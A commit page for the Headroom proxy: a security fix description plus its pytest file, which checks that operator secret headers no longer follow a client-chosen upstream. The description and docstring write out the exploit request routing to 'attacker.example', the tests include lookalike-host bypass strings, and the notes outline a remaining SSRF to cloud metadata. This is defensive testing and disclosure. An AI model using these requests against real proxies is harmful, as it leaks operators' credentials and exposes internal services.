headroom/tests/test_upstream_credential_scoping.py
Tejas Chopra 05f5ef47cb
fix(proxy): stop operator secrets following a client-chosen upstream (#3122)
## Description

`x-headroom-base-url` lets a client choose the upstream for a single
request — a deliberate, documented feature for routing to
OpenAI-compatible gateways. `*_extra_headers` is operator-configured,
marked `secret=True` in the settings store, and its own help text uses
an API key as the example value.

The two met in the wrong order:

```
openai.py:3127   headers = merge_extra_headers(headers, self.config.openai_extra_headers)
openai.py:3134   upstream_base_url = _resolve_openai_upstream_base(request.headers)
```

The secret was merged **before** the destination was resolved. So:

```
POST /v1/messages
X-Headroom-Base-Url: https://attacker.example
```

reached the attacker's host **carrying the operator's gateway key**. One
request, no user interaction, from anything able to reach the proxy port
— a malicious postinstall script, a compromised transitive dep, a second
agent session. Same shape on the Anthropic Messages route
(`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose
override resolves 300 lines later at `:5420`).

Without `*_extra_headers` configured the same primitive is still a plain
SSRF, but that is the pre-existing behavior of a documented feature;
**this PR fixes the credential leak, not the routing.**

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret
only travels to a host the operator designated: one of the resolved
provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`.
This is the rule `copilot_auth.is_copilot_upstream_url` already applies
to Headroom's own Copilot token, generalized.
- **`merge_extra_headers` now takes a required keyword-only
`upstream_url`.** This is the actual fix. An optional parameter would
have closed three call sites and left the tenth forwarder free to
reintroduce the bug; a required one means a forwarder *cannot merge a
secret without declaring where it goes*. All nine call sites updated —
the three client-controllable ones pass the resolved override, the six
config-derived ones pass `None`.
- Undesignated upstreams are **still proxied**, just without the secret,
and the refusal logs once per host (not per request) with the remedy in
the message.
- Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`.

Matching is on the parsed hostname, never the URL string. Whole-string
comparison lets `https://api.anthropic.com@evil.example` through, and
makes a base URL match while base+path does not — that exact asymmetry
is how a gate ends up covering routing but not the credential attach.
Exact hostname equality, no wildcards.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Integration tests pass
- [x] Manual testing performed

### Test Output

```text
tests/test_upstream_credential_scoping.py            15 passed   (new)

Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"):
  3340 passed, 163 skipped, 1 failed in 164.56s

The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing:
it fails identically on a clean origin/main worktree.

ruff check: All checks passed
ruff format --check: 7 files already formatted
mypy headroom/proxy/upstream_trust.py: Success, no issues found
```

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main`, `_core.abi3.so` copied in so the extension imports.
- Exact command / steps: built the exploit as an end-to-end test — a
`TestClient` app with `anthropic_extra_headers={"Api-Key":
"corp-gateway-secret"}` and a capturing transport, then `POST
/v1/messages` with `X-Headroom-Base-Url: https://attacker.example`,
asserting on the headers the transport actually received. **Then
disabled only the new gate (leaving the signature intact) to confirm the
test reproduces the original vulnerability.**
- Observed result: with the gate disabled the test fails with the secret
visibly on the wire —

  ```
AssertionError: assert 'api-key' not in {..., 'api-key':
'corp-gateway-secret', ...}
  ```

With the gate restored, 15/15 pass. The companion test asserts the
request still reached `attacker.example` and still carried the
*client's* own `x-api-key`, so the fix withholds the operator's
credential without breaking the routing feature or the client's auth.
Lookalike hosts (`api.anthropic.com@evil.example`,
`api.anthropic.com.evil.example`, scheme-less values, `://`) are covered
by parametrized cases.
- Not tested: no live upstream was contacted — all uses a capturing
`httpx` transport. The WebSocket forwarders (`openai.py:6606`,
`codex/live.py:131`) pass `upstream_url=None` because their destination
is config-derived; that classification is verified by reading the
callers (`_api_target(proxy, "openai")`,
`codex_responses_websocket_url()`), not by a test.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: **Yes, deliberately.** If an operator
today configures `*_extra_headers` *and* routes via
`x-headroom-base-url` to a host that is not a configured provider
target, those headers stop being sent. That is the vulnerability, so the
change is the point — but it is a real behavior change for that setup,
which is why the log line names the host and the env var to fix it.
- Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>`
restores delivery for a named host. There is deliberately no global
"off".
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

Found during the same audit, **not fixed here** — each wants its own
change:

- **The plain SSRF remains by design.** With no `*_extra_headers`
configured, a client can still make the proxy issue an arbitrary request
to an arbitrary host (cloud metadata at `169.254.169.254`, internal
admin panels) and read the response. Closing that means either an opt-in
requirement for the header or private-IP blocking, and private-IP
blocking would break the common local-gateway setup (LiteLLM on
`127.0.0.1`). Worth a deliberate decision rather than a silent change
here.
- **CORS is the only thing keeping this off the web.**
`x-headroom-base-url` is a non-simple header so it forces a preflight,
and the default origin regex is loopback-only. Setting
`HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web
page.
- The `/v1/*` data plane has no authentication for loopback callers even
when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback),
so "any local process" is the realistic attacker for all of the above.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-18 22:27:25 -07:00

248 lines
8.8 KiB
Python

"""The operator's own secrets must never follow a client-chosen upstream.
``x-headroom-base-url`` lets a client pick the upstream for a single request so
OpenAI-compatible gateways route through the dedicated handlers. That is a
feature and these tests do not remove it.
What they pin is the credential that used to ride along. ``*_extra_headers`` is
operator-configured and marked ``secret=True`` in the settings store — its own
help text uses an API key as the example. It was merged into the upstream-bound
headers *before* the destination was resolved, so:
POST /v1/messages
X-Headroom-Base-Url: https://attacker.example
reached the attacker's host carrying the operator's gateway key. One request, no
user interaction, from anything able to reach the proxy port.
The rule now is the one ``copilot_auth.is_copilot_upstream_url`` already applied
to Headroom's own Copilot token, generalized: a secret only travels to a host the
operator designated. Undesignated hosts still get proxied — just without the
secret.
"""
from __future__ import annotations
import httpx
import pytest
pytest.importorskip("fastapi")
from fastapi.testclient import TestClient # noqa: E402
from headroom.proxy.helpers import merge_extra_headers # noqa: E402
from headroom.proxy.server import ProxyConfig, create_app # noqa: E402
from headroom.proxy.upstream_trust import ( # noqa: E402
ALLOWED_HOSTS_ENV,
is_trusted_upstream,
reset_warning_state,
url_host,
)
ATTACKER = "https://attacker.example"
GATEWAY_SECRET = {"Api-Key": "corp-gateway-secret"}
@pytest.fixture(autouse=True)
def _clear_warn_memo():
reset_warning_state()
yield
reset_warning_state()
class _Capturing(httpx.AsyncBaseTransport):
def __init__(self) -> None:
self.headers: dict[str, str] | None = None
self.url: str | None = None
async def handle_async_request(self, request: httpx.Request) -> httpx.Response:
async for _ in request.stream:
pass
self.headers = {k.lower(): v for k, v in request.headers.items()}
self.url = str(request.url)
return httpx.Response(
200,
json={
"id": "msg_1",
"type": "message",
"role": "assistant",
"content": [{"type": "text", "text": "ok"}],
"usage": {
"input_tokens": 10,
"output_tokens": 3,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0,
},
},
)
def _app(**overrides) -> tuple[TestClient, _Capturing]:
config = ProxyConfig(
optimize=False,
cache_enabled=False,
rate_limit_enabled=False,
cost_tracking_enabled=False,
log_requests=False,
ccr_inject_tool=False,
ccr_handle_responses=False,
ccr_context_tracking=False,
image_optimize=False,
anthropic_extra_headers=dict(GATEWAY_SECRET),
**overrides,
)
app = create_app(config)
transport = _Capturing()
app.state.proxy.http_client = httpx.AsyncClient(transport=transport)
return TestClient(app), transport
def _post(client: TestClient, base_url: str | None):
headers = {"x-api-key": "client-key", "anthropic-version": "2023-06-01"}
if base_url:
headers["x-headroom-base-url"] = base_url
return client.post(
"/v1/messages",
headers=headers,
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
# --------------------------------------------------------------------------- #
# The reported vulnerability
# --------------------------------------------------------------------------- #
def test_operator_secret_does_not_follow_a_client_chosen_upstream() -> None:
"""The exploit: one header, and the gateway key went to the attacker."""
client, transport = _app()
resp = _post(client, ATTACKER)
assert resp.status_code == 200, resp.text
assert transport.headers is not None
# The secret did NOT travel.
assert "api-key" not in transport.headers
assert GATEWAY_SECRET["Api-Key"] not in str(transport.headers)
def test_the_request_is_still_proxied_just_without_the_secret() -> None:
"""Failing closed on the credential, not on the request.
Withholding the header is the fix; refusing to proxy would be a different
(and breaking) product decision.
"""
client, transport = _app()
resp = _post(client, ATTACKER)
assert resp.status_code == 200
assert transport.url is not None and "attacker.example" in transport.url
# The client's own credential is untouched — only the operator's is scoped.
assert transport.headers is not None
assert transport.headers.get("x-api-key") == "client-key"
# --------------------------------------------------------------------------- #
# What must keep working
# --------------------------------------------------------------------------- #
def test_secret_still_reaches_the_configured_target() -> None:
"""No override -> the ordinary path is completely unchanged."""
client, transport = _app()
resp = _post(client, None)
assert resp.status_code == 200
assert transport.headers is not None
assert transport.headers.get("api-key") == GATEWAY_SECRET["Api-Key"]
def test_secret_reaches_an_override_that_matches_the_configured_target() -> None:
"""Pointing the override at the operator's own gateway is designated by definition."""
client, transport = _app(anthropic_api_url="https://corp-gw.internal")
resp = _post(client, "https://corp-gw.internal")
assert resp.status_code == 200
assert transport.headers is not None
assert transport.headers.get("api-key") == GATEWAY_SECRET["Api-Key"]
def test_operator_can_designate_extra_hosts_via_env(monkeypatch) -> None:
"""The escape hatch the warning message tells operators about."""
monkeypatch.setenv(ALLOWED_HOSTS_ENV, "attacker.example")
client, transport = _app()
resp = _post(client, ATTACKER)
assert resp.status_code == 200
assert transport.headers is not None
assert transport.headers.get("api-key") == GATEWAY_SECRET["Api-Key"]
# --------------------------------------------------------------------------- #
# Host matching — the ways this class of check fails open
# --------------------------------------------------------------------------- #
@pytest.mark.parametrize(
"hostile",
[
# userinfo trick: everything before '@' is credentials, not the host
"https://api.anthropic.com@evil.example/v1/messages",
# missing label boundary
"https://api.anthropic.com.evil.example/v1/messages",
# substring, not a host
"https://evil.example/?x=api.anthropic.com",
"https://notapi.anthropic.com.evil.example",
],
)
def test_lookalike_hosts_are_not_trusted(hostile: str) -> None:
assert is_trusted_upstream(hostile, None) is False
def test_base_url_and_base_plus_path_agree() -> None:
"""Compared by host, so adding a path cannot flip the verdict.
A whole-string comparison would say True for the base and False for
base+path, which is exactly how a gate ends up applying to routing but not
to the credential attach.
"""
for candidate in (
"https://api.anthropic.com",
"https://api.anthropic.com/",
"https://api.anthropic.com/v1/messages?beta=true",
):
assert is_trusted_upstream(candidate, None) is True
def test_scheme_less_host_is_still_parsed() -> None:
"""`urlparse` returns hostname=None without a scheme; that must not read as trusted."""
assert url_host("api.anthropic.com/v1") == "api.anthropic.com"
assert is_trusted_upstream("api.anthropic.com/v1", None) is True
assert is_trusted_upstream("evil.example/v1", None) is False
def test_unparseable_destination_is_refused() -> None:
assert is_trusted_upstream("://", None) is False
def test_no_override_means_trusted() -> None:
"""`None` is 'going to the configured target', not 'unknown'."""
assert is_trusted_upstream(None, None) is True
assert is_trusted_upstream("", None) is True
# --------------------------------------------------------------------------- #
# The helper contract
# --------------------------------------------------------------------------- #
def test_merge_requires_a_declared_destination() -> None:
"""`upstream_url` is keyword-only and required, so a new forwarder cannot
merge a secret without saying where it goes."""
with pytest.raises(TypeError):
merge_extra_headers({"a": "b"}, {"x": "y"}) # type: ignore[call-arg]
def test_merge_without_extras_is_a_passthrough_regardless_of_destination() -> None:
headers = {"a": "b"}
assert merge_extra_headers(headers, None, upstream_url=ATTACKER) is headers